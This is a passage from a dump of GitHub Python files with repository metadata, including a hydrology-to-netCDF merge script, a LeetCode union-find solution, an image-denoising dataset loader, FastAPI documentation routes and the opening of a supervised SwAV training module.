screen='leaderboard')\n            },\n            'credits': { \n                'type': 'button',\n                'frame': Frame(x=878, y=875, w=652, h=134),\n                'imageData': {'frame': Frame(x=878, y=875, w=652, h=134)},\n                'action': Switchscreen(type='load', screen='credit')\n            },\n            'quit': {\n                'type': 'button',\n                'frame': Frame(x=1705, y=986, w=84, h=84),\n                'imageData': {'frame': Frame(x=1690, y=975, w=110, h=105)},\n                'action': Alert (\n                    type='confirm', \n                    title='Quit Game',\n                    content='Are you sure you want to quit?',\n                    yes=Info(text='quit')\n                ),\n            },\n        }\n    }\n)","repo_name":"benwoo1110/Ratventure","sub_path":"python/code/screens/mainmenu.py","file_name":"mainmenu.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"70154023094","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 29 11:13:26 2022\n\n@author: galengorski\n\"\"\"\n\n#import netCDF4\nfrom datetime import datetime\nimport netCDF4\nfrom netCDF4 import Dataset,num2date,date2num\nimport numpy as np\nimport pandas as pd\n#%%\nhydro_data = pd.read_csv('01_fetch/out/hydro_filled_220128.csv', \n                         usecols = ['site_no','Date','discharge','nitrate','discharge_interp'],\n                         dtype = {'site_no':str,\n                                  'discharge': float,\n                                  'nitrate': float,\n                                  'discharge_interp':str\n                                  },\n                         parse_dates = ['Date'],\n                         index_col = 'Date')\n\n#remove two sites with suspect looking data\nsite_info = pd.read_csv('01_fetch/out/site_list_220507.csv', dtype = {'site_no':str})\nsites = site_info.site_no.unique()\n\nmodel_input_nc = netCDF4.Dataset('02_munge/out/model_input_230526.nc',mode='w')\nmodel_input_nc.title='Modeling input data'\n\nfor i, single_site in enumerate(sites):\n\n    hydro_data_temp = hydro_data[hydro_data.site_no == single_site].copy()\n    #calculate 7 day moving average\n    hydro_data_temp['nitrate_rolling'] = hydro_data_temp['nitrate'].rolling(\"7D\", min_periods = 3, center=False).mean()\n    hydro_data_temp['nitrate'] = hydro_data_temp['nitrate_rolling']\n    hydro_data_temp['discharge_l10'] = np.log10(hydro_data_temp['discharge']+0.01)\n    met_data = pd.read_csv('01_fetch/out/met_data/'+single_site+'_met_data.csv',\n                           parse_dates = ['date'], index_col = 'date')\n    #make sure they have the same length\n    len(hydro_data_temp) == len(met_data)\n    #join met data with hydro data\n    hydro_met = hydro_data_temp.join(met_data, how = 'outer')\n    hydro_met['nitrate'] = hydro_met['nitrate'].fillna(-999)\n    #hydro_met['nitrate_rolling'] = hydro_met['nitrate_rolling'].fillna(-999)\n    #\n    \n    #read in basin char data\n    basin_char = pd.read_csv('01_fetch/out/basin_char/'+single_site+'_basin_char.csv')\n    \n    #read in groundwater data\n    gw_char = pd.read_csv('01_fetch/out/gw_char.csv', dtype= {'site_no':str})\n    gw_char_site = gw_char[gw_char['site_no'] == single_site].iloc[:,1:4]\n    basin_char_gw = basin_char.append(gw_char_site)\n    \n    #read in tile drain data\n    tiles_char = pd.read_csv('01_fetch/out/tile_drain_char.csv', dtype= {'site_no':str})\n    tiles_char_sites = tiles_char[tiles_char['site_no'] == single_site].iloc[:,1:4]\n    basin_char_tiles = basin_char_gw.append(tiles_char_sites)\n    \n    #add in lat and long\n    lat_long_df = pd.DataFrame()\n    lat_long_df['characteristic_id'] = ['lat','long']\n    lat_long_df['characteristic_value'] = list(site_info[site_info.site_no == single_site][['dec_lat_va','dec_long_va']].iloc[0])\n    lat_long_df['percent_no_data'] = np.nan\n    #merge with basin char\n    basin_char_ll = basin_char_tiles.append(lat_long_df)\n    \n    #read in land cover\n    land_cover = pd.read_csv('01_fetch/out/nlcd_data/land_cover_'+single_site+'.csv', \n                             header = 0, sep = ' ',\n                             dtype = {'cat':str,\n                                      'value':float})\n\n    \n    #clean up column names\n    land_cover['characteristic_id'] = 'NLCD_'+land_cover['cat']\n    land_cover['characteristic_value'] = land_cover['value']\n    land_cover['percent_nodata'] = np.nan\n    land_cover = land_cover[['characteristic_id','characteristic_value','percent_nodata']]\n     #merge with basin char\n    basin_char_lc = basin_char_ll.append(land_cover)\n    #\n    #fill netcdf\n    site = model_input_nc.createGroup(single_site)\n    site.site_name = site_info.station_nm[i]\n    site.lat_long = [str(site_info.dec_lat_va[i]), str(site_info.dec_long_va[i])]\n    site.date_range = [datetime.strftime(hydro_met.index.min(), '%Y-%m-%d'), datetime.strftime(hydro_met.index.max(), '%Y-%m-%d')]\n    today = datetime.today()\n    site.history = \"Created \" + today.strftime(\"%Y-%m-%d\")\n    \n    # dimensions.\n    time = site.createDimension('time', None)\n    basin_char = site.createDimension('basin_char',None)\n    \n    #create static variables\n    \n    for j in range(len(basin_char_lc)):\n        var_name = basin_char_lc.iloc[j,0]\n        #create the variable\n        temp_var = site.createVariable(var_name,'f8', 'basin_char')\n        #fill the variable\n        temp_var[:] =  basin_char_lc.iloc[j,1]\n    \n    #dynamic variables\n    date = site.createVariable('Date','f8','time')\n    discharge = site.createVariable('Discharge','f8','time')\n    discharge_l10 = site.createVariable('Discharge_l10','f8','time')\n    nitrate = site.createVariable('Nitrate','f8','time')\n    precip = site.createVariable('Precip','f8','time')\n    tmax = site.createVariable('TempMax','f8','time')\n    tmin = site.createVariable('TempMin','f8','time')\n    srad = site.createVariable('SolarRad','f8','time')\n    \n    \n    #fill in dynamic data\n    date.units = 'hours since 0001-01-01 00:00:00.0'\n    date.calendar = 'gregorian'\n    date[:] = date2num(hydro_met.index.to_list(), units=date.units,calendar=date.calendar)\n    date.units = 'hours since 0001-01-01 00:00:00.0'\n    date.calendar = 'gregorian'\n    date.range = [datetime.strftime(hydro_met.index.min(), '%Y-%m-%d'), datetime.strftime(hydro_met.index.max(), '%Y-%m-%d')]\n    discharge[:] = hydro_met.discharge\n    discharge.units = 'cfs'\n    discharge_l10[:] = hydro_met.discharge_l10\n    discharge_l10.units = 'none'\n    nitrate[:] = hydro_met.nitrate\n    nitrate.units = 'mg/L [NO3-NO2]'\n    #nitrate_rolling[:] = hydro_met.nitrate_rolling\n    #nitrate_rolling.units = 'mg/L [NO3-NO2]'\n    precip[:] = hydro_met.prcp\n    precip.units = 'mm'\n    tmax[:] = hydro_met.tmax\n    tmax.units = 'K'\n    tmin[:] = hydro_met.tmin\n    tmin.units = 'K'\n    srad[:] = hydro_met.srad\n    srad.units = 'W/m^2'\n    \n    print(site_info.site_no[i]+' | '+single_site+' | '+site_info.station_nm[i])\n    \nmodel_input_nc.close()\n    \n","repo_name":"galengorski/no3_ml_proj","sub_path":"02_munge/src/merge_hydro_met_basin_char.py","file_name":"merge_hydro_met_basin_char.py","file_ext":"py","file_size_in_byte":5997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10080215788","text":"# encoding=utf8\n\n'''\n959. Regions Cut By Slashes\nIn a N x N grid composed of 1 x 1 squares, each 1 x 1 square consists of a /, \\, or blank space.  These characters divide the square into contiguous regions.\n\n(Note that backslash characters are escaped, so a \\ is represented as \"\\\\\".)\n\nReturn the number of regions.\n\n\n\nExample 1:\n\nInput:\n[\n  \" /\",\n  \"/ \"\n]\nOutput: 2\nExplanation: The 2x2 grid is as follows:\n\nExample 2:\n\nInput:\n[\n  \" /\",\n  \"  \"\n]\nOutput: 1\nExplanation: The 2x2 grid is as follows:\n\nExample 3:\n\nInput:\n[\n  \"\\\\/\",\n  \"/\\\\\"\n]\nOutput: 4\nExplanation: (Recall that because \\ characters are escaped, \"\\\\/\" refers to \\/, and \"/\\\\\" refers to /\\.)\nThe 2x2 grid is as follows:\n\nExample 4:\n\nInput:\n[\n  \"/\\\\\",\n  \"\\\\/\"\n]\nOutput: 5\nExplanation: (Recall that because \\ characters are escaped, \"/\\\\\" refers to /\\, and \"\\\\/\" refers to \\/.)\nThe 2x2 grid is as follows:\n\nExample 5:\n\nInput:\n[\n  \"//\",\n  \"/ \"\n]\nOutput: 3\nExplanation: The 2x2 grid is as follows:\n\n\n\nNote:\n\n1 <= grid.length == grid[0].length <= 30\ngrid[i][j] is either '/', '\\', or ' '.\n\n\n959. 由斜杠划分区域\n在由 1 x 1 方格组成的 N x N 网格 grid 中，每个 1 x 1 方块由 /、\\ 或空格构成。这些字符会将方块划分为一些共边的区域。\n\n（请注意，反斜杠字符是转义的，因此 \\ 用 \"\\\\\" 表示。）。\n\n返回区域的数目。\n\n\n\n示例 1：\n\n输入：\n[\n  \" /\",\n  \"/ \"\n]\n输出：2\n解释：2x2 网格如下：\n\n示例 2：\n\n输入：\n[\n  \" /\",\n  \"  \"\n]\n输出：1\n解释：2x2 网格如下：\n\n示例 3：\n\n输入：\n[\n  \"\\\\/\",\n  \"/\\\\\"\n]\n输出：4\n解释：（回想一下，因为 \\ 字符是转义的，所以 \"\\\\/\" 表示 \\/，而 \"/\\\\\" 表示 /\\。）\n2x2 网格如下：\n\n示例 4：\n\n输入：\n[\n  \"/\\\\\",\n  \"\\\\/\"\n]\n输出：5\n解释：（回想一下，因为 \\ 字符是转义的，所以 \"/\\\\\" 表示 /\\，而 \"\\\\/\" 表示 \\/。）\n2x2 网格如下：\n\n示例 5：\n\n输入：\n[\n  \"//\",\n  \"/ \"\n]\n输出：3\n解释：2x2 网格如下：\n\n\n\n提示：\n\n1 <= grid.length == grid[0].length <= 30\ngrid[i][j] 是 '/'、'\\'、或 ' '。\n'''\n\n\n\nclass Solution(object):\n    def regionsBySlashes(self, grid):\n        \"\"\"\n        :type grid: List[str]\n        :rtype: int\n        \"\"\"\n        length = len(grid)\n        p = {(i, j): (i, j) for j in range(length) for i in range(length)}\n\n        for i in range(length+1):\n            p[(i, 0)], p[(0, i)], p[(length, i)], p[(i, length)] = (0, 0), (0, 0), (0, 0), (0, 0)\n\n        def find(x):\n            px = p[x]\n            if px != x:\n                px = find(p[x])\n            return px\n\n        def union(x, y):\n            px = find(x)\n            py = find(y)\n            if px != py:\n                p[px] = py\n                return False\n            return True\n\n        res = 1\n        for i in range(length):\n            for j in range(length):\n                if grid[i][j] == \"/\":\n                    if union((i+1, j), (i, j+1)):\n                        res += 1\n                elif grid[i][j] == \"\\\\\":\n                    if union((i+1, j+1), (i, j)):\n                        res += 1\n\n        return res\n\n\n# solutions\n\n'''\n方法一：并查集\n我们沿着一个网格的两条对角线，能够将正方形切分成四个三角形。如果网格上的字符为 /，则右下角的两个三角形会与左上角的两个三角形分隔开；同理，如果字符为 \\，则右上角的两个三角形会和左下角的两个三角形分隔开。\n\n不难发现，如果将每个三角形看作为一张图上的节点，则网格中的一个共边区域，就相当于图中的一个连通分量。因此，不难想到利用并查集求解连通分量的数目。\n\n设网格为 n \\times nn×n 大小，则图中有 4n^24n \n2\n  个节点，每个格子对应其中的 44 个节点。对于每个格子而言，考虑当前位置的字符：\n\n如果为空格，则该格子对应的 44 个节点应当同属于同一区域，因此在它们之间各连接一条边；\n\n如果为字符 /，则将左上角的两个格子连接一条边，并将右下角的两个格子连接一条边；\n\n如果为字符 \\，则将右上角的两个格子连接一条边，并将左下角的两个格子连接一条边。\n\n到目前位置，我们只考虑了一个格子内部的情况。但同时，不难观察到下面两点：\n\n一个格子中最下方的三角形，必然和下面的格子（如果存在）中最上方的三角形连通；\n\n一个格子中最右方的三角形，必然和右边的格子（如果存在）中最左方的三角形连通。\n\n因此，我们还需要根据上面两条规则，在相邻格子的相应三角形中间，再连接边。\n\n最终，在构造出图后，利用并查集就可以求出连通分量的数目了。\n\n具体实现方面，每个格子的 44 个节点按照上、右、下、左的顺序依次编号 00、11、22、33，每个节点可以根据格子所在的行和列以及节点在格子中的编号唯一地确定。\n\nC++JavaJavaScriptGolangC\n\ntype unionFind struct {\n    parent, size []int\n    setCount     int // 当前连通分量数目\n}\n\nfunc newUnionFind(n int) *unionFind {\n    parent := make([]int, n)\n    size := make([]int, n)\n    for i := range parent {\n        parent[i] = i\n        size[i] = 1\n    }\n    return &unionFind{parent, size, n}\n}\n\nfunc (uf *unionFind) find(x int) int {\n    if uf.parent[x] != x {\n        uf.parent[x] = uf.find(uf.parent[x])\n    }\n    return uf.parent[x]\n}\n\nfunc (uf *unionFind) union(x, y int) {\n    fx, fy := uf.find(x), uf.find(y)\n    if fx == fy {\n        return\n    }\n    if uf.size[fx] < uf.size[fy] {\n        fx, fy = fy, fx\n    }\n    uf.size[fx] += uf.size[fy]\n    uf.parent[fy] = fx\n    uf.setCount--\n}\n\nfunc regionsBySlashes(grid []string) int {\n    n := len(grid)\n    uf := newUnionFind(4 * n * n)\n    for i := 0; i < n; i++ {\n        for j := 0; j < n; j++ {\n            idx := i*n + j\n            if i < n-1 {\n                bottom := idx + n\n                uf.union(idx*4+2, bottom*4)\n            }\n            if j < n-1 {\n                right := idx + 1\n                uf.union(idx*4+1, right*4+3)\n            }\n            if grid[i][j] == '/' {\n                uf.union(idx*4, idx*4+3)\n                uf.union(idx*4+1, idx*4+2)\n            } else if grid[i][j] == '\\\\' {\n                uf.union(idx*4, idx*4+1)\n                uf.union(idx*4+2, idx*4+3)\n            } else {\n                uf.union(idx*4, idx*4+1)\n                uf.union(idx*4+1, idx*4+2)\n                uf.union(idx*4+2, idx*4+3)\n            }\n        }\n    }\n    return uf.setCount\n}\n复杂度分析\n\n时间复杂度：O(n^2\\log n)O(n \n2\n logn)，其中 nn 是网格的边长。仅使用路径压缩的并查集的复杂度为 O(n^2\\log n^2)=O(n^2\\times 2\\log n)=O(n^2\\log n)O(n \n2\n logn \n2\n )=O(n \n2\n ×2logn)=O(n \n2\n logn)。\n\n空间复杂度：O(n^2)O(n \n2\n )。\n\n作者：LeetCode-Solution\n链接：https://leetcode-cn.com/problems/regions-cut-by-slashes/solution/you-xie-gang-hua-fen-qu-yu-by-leetcode-s-ztob/\n来源：力扣（LeetCode）\n著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。\n'''\n\n","repo_name":"MecaCho/algorithms_training","sub_path":"algorithms/union_find_set/leetcode-959-RegionsCutBySlashes.py","file_name":"leetcode-959-RegionsCutBySlashes.py","file_ext":"py","file_size_in_byte":7115,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18799901984","text":"import torchvision.transforms.functional as tvF\nfrom torch.utils.data import Dataset, DataLoader\n\nimport os\nimport torch\nimport numpy as np\nfrom PIL import Image\n\n\ndef load_dataset(root_dir, redux, params, shuffled=False, single=False, normalized=True):\n    noise = (params.noise_type, params.noise_param)\n\n    dataset = NoisyDataset(root_dir, redux, params.crop_size,\n                           clean_targets=params.clean_targets, noise_dist=noise, seed=params.seed)\n\n    if single:  # use if testing to only load one image\n        return DataLoader(dataset, batch_size=1, shuffle=shuffled)\n    else:\n        return DataLoader(dataset, batch_size=params.batch_size, shuffle=shuffled)\n\n\nclass AbstractDataset(Dataset):\n    def __init__(self, root_dir, redux=0, crop_size=128, clean_targets=False):\n        super(AbstractDataset, self).__init__()\n\n        self.imgs = []\n        self.root_dir = root_dir\n        self.redux = redux\n        self.crop_size = crop_size\n        self.clean_targets = clean_targets\n\n    def __getitem__(self, index):\n        \"\"\"Retrieves image from data folder.\"\"\"\n\n        raise NotImplementedError('Abstract method not implemented!')\n\n    def __len__(self):\n        \"\"\"Returns length of dataset.\"\"\"\n\n        return len(self.imgs)\n\n\nclass NoisyDataset(AbstractDataset):\n\n    def __init__(self, root_dir, redux, crop_size, clean_targets=False, noise_dist=('gaussian', 50.), seed=None):\n        super(NoisyDataset, self).__init__(root_dir, redux, crop_size, clean_targets)\n\n        self.imgs = os.listdir(root_dir)\n        if redux:\n            self.imgs = self.imgs[:redux]\n\n        # Noise parameters (max std for Gaussian, lambda for Poisson)\n        self.noise_type = noise_dist[0]\n        self.noise_param = noise_dist[1]\n        self.seed = seed\n        if self.seed:\n            np.random.seed(self.seed)\n\n    def _add_noise(self, img):\n        \"\"\"Adds Gaussian or Poisson noise to image.\"\"\"\n\n        w, h = img.size\n        c = len(img.getbands())\n\n        # Poisson distribution\n        # It is unclear how the paper handles this. Poisson noise is not additive,\n        # it is data dependent, meaning that adding sampled valued from a Poisson\n        # will change the image intensity...\n        if self.noise_type == 'poisson':\n            # high quality images typically have 10,000 photons per pixel\n            # (https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4354036/)\n            dispersion = 75  # chosen based on a distribution centered at ~450 with range ~100-1000\n            photons_per_pixel = np.random.negative_binomial(self.noise_param / dispersion, 1 / self.noise_param) / self.noise_param * dispersion\n            noise_img = np.random.poisson(np.array(img) / 255.0 * photons_per_pixel) / photons_per_pixel * 255\n\n        elif self.noise_type == 'impulse':\n            p = 0.2\n            if self.seed:\n                std = self.noise_param\n            else:\n                std = np.random.uniform(0, self.noise_param)\n            noise = np.random.normal(0, std, (h, w, c))\n            mask = np.random.uniform(0, 1, (h, w, c)) > p\n            noise[mask] = 0\n            noise_img = np.array(img) + noise\n\n        # Normal distribution (default)\n        else:\n            if self.seed:\n                std = self.noise_param\n            else:\n                std = np.random.uniform(0, self.noise_param)\n            noise = np.random.normal(0, std, (h, w, c))\n            noise_img = np.array(img) + noise\n\n        noise_img = np.clip(noise_img, 0, 255).astype(np.uint8)\n        return Image.fromarray(noise_img)\n\n    def _corrupt(self, img):\n        \"\"\"Corrupts images (Gaussian or Poisson).\"\"\"\n\n        if self.noise_type in ['gaussian', 'poisson', 'impulse']:\n            return self._add_noise(img)\n        else:\n            raise ValueError('Invalid noise type: {}'.format(self.noise_type))\n\n    def __getitem__(self, index):\n        \"\"\"Retrieves image from folder and corrupts it.\"\"\"\n\n        # Load PIL image\n        img_path = os.path.join(self.root_dir, self.imgs[index])\n        img = Image.open(img_path).convert('RGB')\n\n        # Corrupt source image\n        tmp = self._corrupt(img)\n        source = tvF.to_tensor(self._corrupt(img))\n\n        # Corrupt target image, but not when clean targets are requested\n        if self.clean_targets:\n            target = tvF.to_tensor(img)\n        else:\n            target = tvF.to_tensor(self._corrupt(img))\n\n        return source, target\n\n\nclass ToRGBTensor(object):\n    \"\"\"\n    Default ToTensor transform scale input to [0,1], this does not\n    \"\"\"\n    def __call__(self, x):\n        # Convert from PIL image to numpy\n        result = np.asarray(x)\n        # Move axis to enforce same style as previous input\n        result = np.moveaxis(result, -1, 0)\n        # Convert from numpy to torch tensor\n        result = torch.from_numpy(result)\n        return result","repo_name":"hauserkristen/adversarial_denoising","sub_path":"denoising/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":4871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"40250661297","text":"from heapq import heappop, heappush\n\n\nn = int(input())\nlamps = []\nfor _ in range(n):\n    lamps.append(list(map(int, input().split())))\nbenchs = list(map(int, input().split()))\n\npq = []\n\"\"\"\n1, Lamp on\n2, Bench\n3, Lamp off\n\"\"\"\nfor x, y in lamps:\n    heappush(pq, (x, 1))\n    heappush(pq, (y, 3))\n\nfor bench in benchs:\n    heappush(pq, (bench, 2))\n\nlights = 0\nresult = []\nwhile pq:\n    v, t = heappop(pq)\n    if t == 1:\n        lights += 1\n    elif t == 2:\n        result.append(lights)\n    elif t == 3:\n        lights -= 1\nprint(*result)","repo_name":"Naboni/Competitive-Programming","sub_path":"OA/lamps_and_bench.py","file_name":"lamps_and_bench.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"75001539573","text":"from fastapi.openapi.docs import get_swagger_ui_html\nfrom fastapi import Depends, Response, Request\nfrom fastapi.responses import ORJSONResponse\nfrom fastapi.openapi.utils import get_openapi\n\nfrom framework.docs.metadata import OpenAPIMetadata\nfrom framework.middleware.authentication import BasicAuth, SuperAdmin\n\n\nclass Documentation:\n\n    def __init__(self, app):\n        self.user = None\n        self.load(app)\n\n    def show_auth_dialog(self) -> Response:\n        return Response(headers={\"WWW-Authenticate\": \"Basic\"}, status_code=401)\n\n    def load(self, app):\n        @app.get(\"/docs\", include_in_schema=False)\n        async def custom_swagger_ui_html(request: Request):\n            return get_swagger_ui_html(openapi_url=\"/openapi.json\", title=\"Docs\")\n\n        @app.get(\"/openapi.json\", include_in_schema=False, dependencies=[Depends(SuperAdmin)])\n        async def get_open_api_endpoint():\n            return ORJSONResponse(get_openapi(\n                title=\"PRINTER24 API\",\n                version=\"1.0.0\",\n                routes=app.routes,\n                description=OpenAPIMetadata.description,\n                tags=OpenAPIMetadata.tags_metadata\n            ))\n\n        @app.get(\"/docs/login\", include_in_schema=False)\n        async def docs_auth(auth: BasicAuth = Depends(BasicAuth(auto_error=False))):\n            if not auth:\n                response = Response(headers={\"WWW-Authenticate\": \"Basic\"}, status_code=401)\n                return response\n\n    def validate(self, token):\n        pass\n","repo_name":"broluja/Printer24","sub_path":"framework/docs/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26831900440","text":"import xml.etree.ElementTree as ET\n\nroot = ET.Element(\"data\")\nmovie_1 = ET.SubElement(root, \"movie\", {\"title\": \"The Little Prince\", \"rate\": \"5\"})\nmovie_2 = ET.SubElement(root, \"movie\", {\"title\": \"Hamlet\", \"rate\": \"5\"})\n\n# dump() allows us to debug either the whole tree or a single element\nET.dump(root)\n\n# ElementTree object allows us to save a document by write method\ntree = ET.ElementTree(root)\n","repo_name":"yukikitayama/python","sub_path":"file/build_xml.py","file_name":"build_xml.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37872962225","text":"\"\"\"\r\nAdapted from official swav implementation: https://github.com/facebookresearch/swav\r\n\"\"\"\r\nimport os\r\nimport sys\r\nimport ast\r\nfrom argparse import ArgumentParser, Action\r\nfrom time import sleep\r\nimport math\r\nfrom collections import OrderedDict\r\n\r\nimport numpy as np\r\nimport pytorch_lightning as pl\r\nimport torch\r\nfrom pytorch_lightning.callbacks import LearningRateMonitor, ModelCheckpoint\r\nfrom torch import distributed as dist\r\nfrom torch import nn\r\nfrom torch.utils import model_zoo\r\nimport torch.nn.functional as F\r\nfrom torchmetrics import Accuracy\r\n\r\nfrom pl_bolts.optimizers.lars import LARS\r\nfrom pl_bolts.transforms.dataset_normalizations import (\r\n    cifar10_normalization,\r\n    imagenet_normalization,\r\n    stl10_normalization,\r\n)\r\nfrom pytorch_lightning.utilities.cloud_io import load as load_checkpoint\r\n\r\ntry:\r\n    from supervised_swav_resnet import resnet18, resnet50, ResNet, BasicBlock\r\nexcept:\r\n    from .supervised_swav_resnet import resnet18, resnet50, ResNet, BasicBlock\r\n\r\nmodel_urls = {\r\n    'resnet18': 'https://download.pytorch.org/models/resnet18-f37072fd.pth',\r\n    'resnet34': 'https://download.pytorch.org/models/resnet34-b627a593.pth',\r\n    'resnet50': 'https://download.pytorch.org/models/resnet50-0676ba61.pth',     # from Mar 2021\r\n    'resnet50_old': 'https://download.pytorch.org/models/resnet50-19c8e357.pth', # from Jan 2017, used in e.g. FixBi\r\n    'resnet101': 'https://download.pytorch.org/models/resnet101-63fe2227.pth',\r\n    'resnet152': 'https://download.pytorch.org/models/resnet152-394f9c45.pth',\r\n    'resnext50_32x4d': 'https://download.pytorch.org/models/resnext50_32x4d-7cdf4587.pth',\r\n    'resnext101_32x8d': 'https://download.pytorch.org/models/resnext101_32x8d-8ba56ff5.pth',\r\n    'wide_resnet50_2': 'https://download.pytorch.org/models/wide_resnet50_2-95faca4d.pth',\r\n    'wide_resnet101_2': 'https://download.pytorch.org/models/wide_resnet101_2-32ee1156.pth',\r\n}\r\n\r\ndef linear_warmup_decay(warmup_steps, total_steps, decay_type='cosine', alpha=10, beta=0.75):\r\n    assert decay_type in ['constant', 'cosine', 'linear', 'inv_prop']\r\n\r\n    def fn(step):\r\n        if step < warmup_steps:\r\n            return float(step) / float(max(1, warmup_steps))\r\n\r\n        if decay_type == 'constant':\r\n            # no decay\r\n            return 1.0\r\n\r\n        progress = float(step - warmup_steps) / float(max(1, total_steps - warmup_steps))\r\n        if decay_type == 'cosine':\r\n            # cosine decay\r\n            return 0.5 * (1.0 + math.cos(math.pi * progress))\r\n        elif decay_type == 'inv_prop':\r\n            # \"inversly proportional\" decay\r\n            return (1 + alpha*progress)**-beta\r\n        else:\r\n            # linear decay\r\n            return 1.0 - progress\r\n\r\n    return fn\r\n\r\nclass SupervisedSwAV(pl.LightningModule):\r\n\r\n    def __init__(\r\n        self,\r\n        gpus: int,\r\n        num_samples: int,\r\n        batch_size: int,\r\n        dataset: str,\r\n        num_classes: int,\r\n        supervised_hidden_mlp: int = 2048,\r\n        supervised_weight: float = 1.,\r\n        share_hidden_mlp: bool = False,\r\n        supervised_head_after_proj_head: bool = False,\r\n        imagenet_pretrained: bool = False,\r\n        old_pretrained_weights: bool = False,\r\n        pretrained_checkpoint: str = None,\r\n        backbone_lr_scaling: float = 1.0,\r\n        val_names: list = None,\r\n        num_nodes: int = 1,\r\n        arch: str = 'resnet50',\r\n        hidden_mlp: int = 2048,\r\n        feat_dim: int = 128,\r\n        warmup_epochs: int = 10,\r\n        max_epochs: int = 100,\r\n        nmb_prototypes: int = 3000,\r\n        freeze_prototypes_epochs: int = 1,\r\n        temperature: float = 0.1,\r\n        sinkhorn_iterations: int = 3,\r\n        queue_length: int = 0,  # must be divisible by total batch-size\r\n        epoch_queue_starts: int = 15,\r\n        crops_for_assign: list = [0, 1],\r\n        nmb_crops: list = [2, 6],\r\n        first_conv: bool = True,\r\n        maxpool1: bool = True,\r\n        norm_layer: str = 'batch_norm',\r\n        num_groups: int = 16,\r\n        optimizer: str = 'adam',\r\n        start_lr: float = 0.,\r\n        learning_rate: float = 1e-3,\r\n        final_lr: float = 0.,\r\n        lr_schedule_type: str = 'cosine',\r\n        weight_decay: float = 1e-6,\r\n        epsilon: float = 0.05,\r\n        prototype_entropy_regularization_weight: float = 1.,\r\n        prototype_entropy_regularization_type: str = 'separate_optimizer',\r\n        supervised_contrastive: bool = False,\r\n        **kwargs\r\n    ):\r\n        \"\"\"\r\n        Args:\r\n            gpus: number of gpus per node used in training, passed to SwAV module\r\n                to manage the queue and select distributed sinkhorn\r\n            num_nodes: number of nodes to train on\r\n            num_samples: number of image samples used for training\r\n            batch_size: batch size per GPU in ddp\r\n            dataset: dataset being used for train/val\r\n            num_classes: number of classes in the dataset\r\n            supervised_hidden_mlp: hidden layer of non-linear supervised learning head,\r\n                set to 0 to use a linear projection head\r\n            supervised_weight: weighting factor to multiply supervised loss with\r\n                before adding it to the total loss\r\n            share_hidden_mlp: Whether supervised head and swav's projection head should share their hidden layer. If this is set to True,\r\n                `supervised_hidden_mlp` will have no effect, and `hidden_mlp` will define the size of the hidden layer used by both heads.\r\n            imagenet_pretrained: Whether to initialize the weights of the backbone to values pretrained on imagenet\r\n            old_pretrained_weights: If `imagenet_pretrained` is true: whether to use older pretrained weights from Jan 2017, or newer ones from Mar 2021.\r\n                Otherwise: no effect.\r\n            pretrained_checkpoint: checkpoint to load pretrained weights from. If none is provided, one from pytorch's model_zoo will be used\r\n            val_names: in case of multiple validation dataloaders, this list should\r\n                contain names identifying them (in the same order)\r\n            arch: encoder architecture used for pre-training\r\n            hidden_mlp: hidden layer of non-linear projection head, set to 0\r\n                to use a linear projection head\r\n            feat_dim: output dim of the projection head\r\n            warmup_epochs: apply linear warmup for this many epochs\r\n            max_epochs: epoch count for pre-training\r\n            nmb_prototypes: count of prototype vectors\r\n            freeze_prototypes_epochs: epoch till which gradients of prototype layer\r\n                are frozen\r\n            temperature: loss temperature\r\n            sinkhorn_iterations: iterations for sinkhorn normalization\r\n            queue_length: set queue when batch size is small,\r\n                must be divisible by total batch-size (i.e. total_gpus * batch_size),\r\n                set to 0 to remove the queue\r\n            epoch_queue_starts: start uing the queue after this epoch\r\n            crops_for_assign: list of crop ids for computing assignment\r\n            nmb_crops: number of global and local crops, ex: [2, 6]\r\n            first_conv: keep first conv same as the original resnet architecture,\r\n                if set to false it is replace by a kernel 3, stride 1 conv (cifar-10)\r\n            maxpool1: keep first maxpool layer same as the original resnet architecture,\r\n                if set to false, first maxpool is turned off (cifar10, maybe stl10)\r\n            norm_layer: the type of normalization layer to use in the network (batch_norm or group_norm)\r\n            num_groups: in case group_norm is chosen as norm_layer, this sets the number of groups\r\n            optimizer: optimizer to use\r\n            start_lr: starting lr for linear warmup\r\n            learning_rate: learning rate\r\n            final_lr: final learning rate for cosine weight decay\r\n            lr_schedule_type: type of learning rate schedule to use (constant, linear, cosine or inv_prop)\r\n            weight_decay: weight decay for optimizer\r\n            epsilon: epsilon val for swav assignments\r\n            supervised_head_after_proj_head: Whether to change the architecture such that\r\n                the supervised head attaches after swav's projection head and the l2norm\r\n            backbone_lr_scaling: factor to scale the backbone learning rate with\r\n            prototype_entropy_regularization_weight: weight of the prototype entropy regularization\r\n                (0 for no regularization)\r\n            prototype_entropy_regularization_type: type prototype entropy regularization\r\n                (same_optimizer or separate_optimizer)\r\n            supervised_contrastive: whether to use the supervised contrastive objective,\r\n                using all samples of the same class as positives for the swav loss \r\n        \"\"\"\r\n        super().__init__()\r\n        self.save_hyperparameters()\r\n\r\n        if nmb_prototypes == 0 and prototype_entropy_regularization_weight != 0:\r\n            raise ValueError('Prototype entropy regularization is not possible without prototypes')\r\n\r\n        if not supervised_head_after_proj_head and prototype_entropy_regularization_weight != 0:\r\n            raise ValueError('Prototype entropy regularization requires supervised_head_after_projection_head-architecture')\r\n\r\n        if sum(nmb_crops) <= 1:\r\n            raise ValueError('Need at least 2 crops to perform swapped prediction')\r\n\r\n        self.gpus = gpus\r\n        self.num_nodes = 